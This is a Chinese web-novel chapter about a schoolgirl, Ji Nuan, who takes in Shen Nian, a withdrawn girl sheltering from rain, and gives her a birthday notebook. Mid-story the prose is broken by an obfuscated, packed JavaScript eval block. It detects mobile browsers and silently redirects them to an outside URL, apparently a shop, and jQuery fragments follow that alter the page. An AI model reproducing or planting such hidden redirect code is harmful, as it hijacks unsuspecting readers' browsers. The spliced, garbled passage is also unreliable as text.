季暖后来无数次回想起那个傍晚。
如果那天她没有留下来上晚自习，如果她没有走那条巷子，如果她没有在那个水坑前踩下那一脚——是不是一切都会不一样？
可十七岁的季暖还没有学会如果。她只是撑着伞，踩着积水，在暴雨将至的黄昏里往家跑。
雨是从下午第三节课开始下的。
语文老师在讲台上念《雨巷》，念到“撑着油纸伞，独自彷徨在悠长、悠长又寂寥的雨巷”，窗外的天已经黑透了，雨水砸在玻璃上，噼里啪啦地响。
季暖撑着下巴往窗外看。她在想放学怎么回去，没带伞。
“季暖。”
她回过头。
语文老师站在讲台上看着她，推了推眼镜：“你来接下一段。”
季暖站起来，课本翻到那一页，清了清嗓子：“‘她是有丁香一样的颜色，丁香一样的芬芳，丁香一样的忧愁，在雨中哀怨，哀怨又彷徨。’”
她念得没什么感情，声音被雨声盖住大半，后排的男生在偷偷玩手机。
“坐下吧。”语文老师说，“注意节奏。”
季暖坐下的时候，同桌陈安安凑过来，压低声音：“你看窗外。”
季暖又往窗外看。
没什么特别的，就是雨大得离谱。
“不是，”陈安安拽她袖子，“你看那棵树，被风吹得都快断了。”
那是一棵老槐树，长在教学楼后面的围墙边，枝叶被雨打得起不来，确实可怜。
“它撑得住。”季暖说。
陈安安看她一眼：“你怎么知道？”
季暖没回答。
她也不知道自己为什么这么说，就是觉得，树嘛，肯定比人撑得住。
放学铃响的时候，雨没有要停的意思。
季暖站在教学楼门口的台阶上，看着操场变成一片汪洋。没带伞的人在骂娘，带了伞的人撑着伞冲进雨里，很快就不见了。
陈安安的爸爸开车来接她，问她要不要一起走。
季暖摇头：“我家近，跑两步就到了。”
陈安安看了看外面的雨势，有点犹豫：“你确定？”
“确定确定，你快走吧。”季暖把她推出去。
陈安安撑着伞跑向校门口，跑了几步又回头喊：“那你小心点啊！”
季暖摆摆手。
她在台阶上又站了一会儿，雨声很大，把所有的声音都盖住了。天色越来越暗，路灯还没亮，整个世界灰蒙蒙的。
等了一会儿，雨小了一点。
季暖把书包抱在怀里，深吸一口气，冲进雨里。
她跑得很快，脚踩在水坑里溅起水花，裤腿全湿了，凉飕飕地贴在腿上。她顾不上这些，只想快点到家。
拐进巷子的时候，她踩了一个水坑。
水花溅起来，落在一个人身上。
季暖停下脚步。
那人蹲在巷子口的报刊亭旁边，浑身湿透，缩成一团。报刊亭早就废弃了，铁皮门上的油漆剥落了大半，露出锈迹。那人就蹲在檐下那一点点干的地方，其实也不干，雨水顺着檐边往下淌，她后背全湿了。
季暖的泥点落在她胳膊上，白色的校服衬衫上洇开一小块污渍。
那人抬起头。
是一张女生的脸。很白，白得有点透明，像是很久没见过太阳。眼睛很大，但里面空空的，什么也没有。雨水顺着她的刘海往下滴，她也不擦，就那么看着季暖。
季暖愣了一下，把伞举高一点，遮住她。
“你还好吗？”
那女生看着她，没说话。
季暖又问了一遍：“你没事吧？怎么一个人蹲在这儿？”
那女生终于开口，声音很轻，轻得几乎被雨声盖住：“不好。”
季暖等了等，等她继续说，但她不说了。她低下头，看着地面上被雨水冲散的蚂蚁。
蚂蚁在积水里挣扎，几只抱成一团，顺着水流漂走。
季暖把伞往她那边倾了倾，自己的肩膀露在外面，很快被雨打湿。
“你家在哪？我送你回去。”
那女生摇头。
季暖又问：“你爸妈呢？电话有吗？要不要借你手机打个电话？”
还是摇头。
季暖站了一会儿，雨越下越大，她的白球鞋已经全湿透了。她看了看巷子口，拐过去就是她家，跑两步就到了。
她又看了看那个女生。
那女生蹲在那儿，低着头，抱着膝盖，像一只被遗弃的猫。雨水顺着她的发梢往下滴，滴在手背上，她也不动。
季暖叹了口气，把伞收起来，蹲到她旁边。
雨劈头盖脸地浇下来，凉得她打了个哆嗦。
那女生侧过脸看她。
季暖冲她笑了笑：“陪你躲一会儿。”
那女生看着她，眼睛里有什么东西动了一下，很快又恢复了平静。
“你不用陪我。”她说。
“我想陪。”季暖说，“一个人躲雨多无聊。”
那女生没再说话。
两个人就那么蹲着，雨打在报刊亭的铁皮顶上，咚咚咚地响，像是有人在上面敲鼓。巷子里没有人，只有雨声和偶尔的几声狗叫。
季暖的腿蹲麻了，换了个姿势，索性一屁股坐在台阶上。地上全是水，她也顾不上了。
那女生看了她一眼。
“你叫什么名字？”季暖问。
沉默了一会儿，那女生说：“沈念。”
“哪个念？”
“念想的念。”
季暖点点头：“我叫季暖。季节的季，温暖的暖。”
那女生嘴角动了动，好像想说什么，又咽回去了。
“你想说什么？”季暖问。
“没什么。”
“你肯定想说什么，说吧说吧。”
那女生看着她，过了一会儿才说：“你的名字……有点土。”
季暖愣了一下，然后笑出声来。
她一笑，眼睛就弯成两道月牙，雨顺着她的脸颊往下流，她也顾不上擦。
“你这人怎么这样，”她说，“我刚准备收留你，你就说我名字土。”
沈念不说话了，低下头。
季暖凑过去一点：“喂，我说着玩的，没生气。你饿不饿？我家就在前面，去我家吃点东西吧，换件干衣服，你这样会感冒的。”
沈念摇头。
“走嘛走嘛。”季暖拽她袖子，“我妈做的饭可好吃了，今天应该做红烧肉，你不想吃红烧肉吗？”
沈念还是摇头。
季暖看着她。
那女生低着头，刘海遮住大半张脸，只能看见一点下巴。瘦得厉害，锁骨从湿透的衬衫里突出来，细细的两道。
季暖不知道为什么，心里软了一下。
她把伞重新撑开，举在两个人头顶。
“那我不走，”她说，“等你愿意走的时候我再走。”
沈念抬起头看她。
雨很大，伞很小，季暖把大半边都让给她，自己的肩膀和后背全露在外面，雨水顺着衣服往下淌，她也不管，就那么笑眯眯地看着沈念。
沈念张了张嘴，没说出话。
过了很久，久到雨声渐渐小了，天边透出一点亮，她才开口。
“你为什么对我好？”
季暖想了想：“因为你看起来需要。”
“你怎么知道我需不需要？”
季暖看着她的眼睛。
那双眼睛空空的，像是什么都没有，又像是什么都被倒干净了，只剩下薄薄一层水光。
“因为你眼睛里什么都没有。”季暖说。
沈念愣住。
季暖看着她，认真地想了想，又说：“我想往里面放点东西。”
沈念低下头。
雨滴从她的睫毛上滑落，落在地上，很快被积水吞没。
她站起来，腿有点麻，踉跄了一下。季暖赶紧扶住她。
“走吧，”季暖说，“去我家换件衣服。”
沈念看着她的手。
那只手很白，指腹上有薄薄的茧，大概是握笔握出来的。指甲修剪得很整齐，雨水顺着指缝往下淌。
她握住那只手。
很暖。
季暖的妈妈叫赵敏，是个心很大的女人。
季暖带着一个浑身湿透的陌生人回家，她只是愣了一下，然后就张罗着找毛巾、煮姜茶。
“这雨下得，怎么不早点回来？”她把毛巾递给沈念，“快擦擦，别感冒了。衣服脱下来，我给你找件干的换上。”
沈念站在玄关，有点手足无措。
季暖拽她进去：“进来进来，别站门口。”
赵敏找出一套睡衣，粉红色的，印着卡通小熊，领口有点褪色了。
“这是季暖初中时候穿的，可能有点小，你将就一下。她长得快，衣服还没来得及买新的就小了。”赵敏把睡衣塞给沈念，“卫生间在那边，热水器开着，你好好洗个热水澡。”
沈念抱着睡衣，站着没动。
季暖推她：“快去快去，洗完出来吃饭。”
沈念看了她一眼，慢慢往卫生间走。
门关上之后，赵敏凑到季暖旁边，压低声音：“这谁啊？同学？”
“不是。”季暖把湿书包放到沙发上，“刚才路上碰见的，一个人蹲在报刊亭那边躲雨，浑身都湿透了。我看她怪可怜的，就带回来了。”
赵敏皱眉：“她家在哪？要不要联系她爸妈？”
“我问了，她不说话。”
赵敏沉默了一会儿，叹了口气：“行吧，先让她吃点东西，暖和暖和。等会儿你问问她，看能不能联系上家里人。”
季暖点头。
卫生间里传来水声。
季暖坐在沙发上擦头发，忽然想起什么，跑进房间翻箱倒柜。找了半天，从抽屉最底下翻出一个本子来。
封面上印着满天星，是去年生日陈安安送她的，她一直没舍得用。
她把本子放在桌上，想了想，又翻开第一页，找了支笔，一笔一画地写：
“给沈念。希望你每天都能遇见好事。”
字写得歪歪扭扭的，她看了看，有点嫌弃，又没办法重写。
算了。
沈念洗完澡出来，穿着那件小熊睡衣，有点小，袖子只到手腕上面一点。她头发还湿着，贴在脸侧，衬得脸更小了。
季暖招手：“过来过来，喝姜茶。”
沈念走过去，在沙发边上坐下。赵敏把姜茶递给她，碗热乎乎的，烫手。
“小心烫，慢慢喝。”赵敏说，“我去把饭热一下，你们先坐着。”
沈念捧着碗，低头喝了一口。
姜味很冲，辣得她皱了一下眉。
季暖在旁边笑：“是不是很辣？我妈放了好多姜，说这样才有效。”
沈念没说话，又喝了一口。
季暖把那个本子递过去：“送给你。”
沈念接过来，翻开。
第一页上，歪歪扭扭的字迹映入眼帘。
她盯着那行字看了很久。
季暖有点不好意思：“我字不好看，你将就一下。”
沈念没说话。
她把本子合上，抱进怀里，整个人蜷缩起来，把脸埋进膝盖里。
肩膀开始抖。
没有声音。
季暖愣了一下，看着她。
过了一会儿，她轻轻把手放在沈念背上，一下一下地拍。
像小时候妈妈哄她睡觉那样。
沈念的肩膀抖得更厉害了，但还是没有声音。
季暖没说话，就那么一下一下地拍。
窗外，雨停了。
晚饭是红烧肉、番茄炒蛋和紫菜蛋花汤。
沈念坐在餐桌前，筷子拿在手里，半天没动。
季暖给她夹了一块红烧肉：“吃啊，我妈做的红烧肉可好吃了。”
沈念看着碗里的肉，慢慢夹起来，放进嘴里。
赵敏在旁边问：“你家住哪儿啊？等会儿让季暖送你回去？”
沈念的筷子顿了一下。
季暖赶紧说：“妈，人家吃饭呢，等会儿再说。”
赵敏点点头：“好好好，先吃饭。”
沈念低着头，慢慢地嚼。
吃完饭，季暖把沈念拉进自己房间。
“你别介意啊，我妈就是心直口快。”她把门关上，“你不想说就不说。”
沈念站在窗边，看着外面。天黑了，路灯亮起来，照在湿漉漉的地面上，亮晶晶的。
“我不回去。”她说。
季暖愣了一下。
“我不想回去。”沈念又说了一遍。
季暖走到她旁边，也往外看。
“那就不回去。”她说。
沈念转过头看她。
季暖冲她笑了笑：“今晚住我这儿，反正我床大。”
沈念张了张嘴，想说什么，又咽回去了。
她低下头，过了很久，才说：“你不问为什么？”
季暖想了想：“你想说的时候再说。”
沈念没说话。
窗外的路灯照进来，在地上投下一小块光。
沈念看着那一小块光，忽然开口：“今天是我生日。”
季暖一愣：“啊？你怎么不早说？我都没准备礼物——”
“那个本子，”沈念打断她，“就是礼物。”
季暖看着她。
沈念低着头，脸被阴影遮住，看不清表情。
“我没有收到过礼物，”她说，“从来没有。”
季暖心里像是被什么东西轻轻揪了一下。
她走过去，拉起沈念的手，放在自己手心里。</p
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17340496|199303||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>
“那以后每年都送你，”她说，“送到你不想收为止。”
沈念的手颤了一下。
她抬起头，看着季暖。
那双眼睛还是空空的，但有什么东西在慢慢浮上来，薄薄的，亮亮的。
像星星。
季暖看着她，忽然想起语文课上的那首诗。
她是有丁香一样的颜色，丁香一样的芬芳，丁香一样的忧愁。
可她觉得沈念不像丁香。
沈念像星星。
在很黑很黑的地方，也能看见的那种。
“季暖。”
“嗯？”
“谢谢。”
季暖笑了笑，眼睛弯成两道月牙。
“不客气，念想。”
沈念愣了一下：“你叫我什么？”
“念想啊，”季暖理直气壮，“沈念的念，念想的想。好听吧？”
沈念抿了抿嘴，嘴角却忍不住往上翘。
“不好听。”
“你口是心非。”
“没有。”
“就有。”
两个人对视一眼，忽然都笑了。
窗外的路灯亮着，照着湿漉漉的巷子。
雨后的夜风格外干净，从窗户缝里钻进来，带着一点点泥土的气息。
季暖打了个哈欠。
“睡觉吧，”她说，“明天还要上学呢。”
沈念点点头。
季暖关了灯，钻进被窝。沈念在旁边躺下，身体绷得紧紧的，像是不知道该往哪儿放。
季暖翻了个身，面对着她。
“念想。”
“嗯？”
“晚安。”
黑暗中，沈念的眼睛亮了一下。
过了一会儿，她轻轻开口：“晚安，季暖。”
夜里，季暖醒了一次。
她迷迷糊糊地翻身，发现旁边空了。
她一下子清醒过来，坐起来往四周看。
沈念坐在窗边，抱着膝盖，看着窗外。
月光照在她身上，把她的轮廓镀上一层银色。
季暖下床，走过去，在她旁边坐下。
“睡不着？”
沈念摇头。
“在想什么？”
沈念沉默了一会儿，说：“在想明天。”
季暖等着她继续说。
“我不知道明天会怎么样，”沈念说，“从来都不知道。”
季暖想了想，说：“我也不知道。”
沈念转过头看她。
季暖看着窗外，月光照在她脸上，眼睛亮亮的。
“但明天总会来的，”她说，“而且不管怎么样，我都会在你旁边。”
沈念看着她，过了很久，才说：“你怎么知道？”
季暖笑了：“因为我会跟着你啊。”
沈念愣了一下。
“你走到哪儿我跟到哪儿，”季暖说，“烦死你。”
沈念低下头，嘴角却弯起来。
月光照在两个人身上，静静的。
远处有狗叫了一声，很快又安静了。
沈念忽然开口：“季暖。”
“嗯？”
“你真的会在我旁边吗？”
季暖拉起她的手，放在自己手心里。
“真的。”
沈念看着那只手。
很暖。
窗外，月亮慢慢往云里躲，星星亮起来。
一颗，两颗，三颗。
像是有人在漆黑的夜幕上，一颗一颗地点亮灯。
沈念看着那些星星，忽然觉得，眼睛里的那个空荡荡的地方，好像被什么东西填进来一点点。
很小的一点点。
但确实是填进来了。
第二天早上，季暖醒来的时候，沈念已经不在旁边了。
她愣了一下，赶紧爬起来往外跑。
客厅里，沈念坐在餐桌前，赵敏正在往她碗里夹包子。
“醒了？”赵敏看她一眼，“快去洗脸刷牙，早饭要凉了。”
季暖看着沈念。
沈念抬起头，冲她点了一下。
季暖咧嘴笑了。
她去卫生间洗漱，出来的时候，沈念已经吃完了，正把碗往厨房端。
赵敏接过碗，说：“等会儿你们一起去学校？”
季暖看看沈念。
沈念点点头。
“那行，”赵敏说，“路上小心点。”
两个人出门的时候，天已经晴了。太阳从云层里钻出来，照在湿漉漉的地面上，蒸腾起一层薄薄的水汽。
季暖走在前头，沈念跟在后头。
走了几步，季暖停下来，回头看她。
“念想，你走那么慢干嘛？”
沈念加快脚步，走到她旁边。
季暖笑了笑，继续往前走。
巷子口的报刊亭还在那儿，铁皮门上的雨水已经干了，留下斑驳的锈迹。
沈念看了一眼。
季暖也看了一眼。
“以后别再蹲那儿了，”季暖说，“想躲雨就去我家。”
沈念没说话。
走了几步，她忽然开口：“季暖。”
“嗯？”
“你昨天说，想在我眼睛里放东西。”
季暖点头。
沈念停下脚步，看着她。
阳光从她背后照过来，把她的脸藏在阴影里，但眼睛却亮亮的。
“你已经放进来了。”她说。
季暖愣了一下。
沈念已经往前走了。
季暖站在原地，看着她的背影。
阳光照在沈念身上，把她的影子拉得很长很长。
她忽然想起昨天晚上，沈念问她“你怎么知道”的时候，眼睛里那个亮亮的东西。
那是什么，她当时没看清。
现在她知道了。
那是星星。
她笑起来，追上去。
“念想，等等我——”
沈念没回头，但脚步慢了一点。
季暖追上来，和她并肩往前走。
巷子尽头，是亮堂堂的街道。自行车铃声叮叮当当地响，早点摊的蒸笼冒着热气，上学的学生三三两两地走过。
沈念看着前面，忽然开口。
“季暖。”
“嗯？”
“今天天气真好。”
季暖抬头看天。
确实好。
蓝得透明，一丝云也没有。
她转过头，看着沈念。
沈念也在看天，嘴角弯着一点弧度，很小，但确实是弯着。
季暖笑了。
“走吧，”她说，“上学要迟到了。”
两个人走进人群里，很快被淹没。
阳光照下来，照在她们走过的地方。
很暖。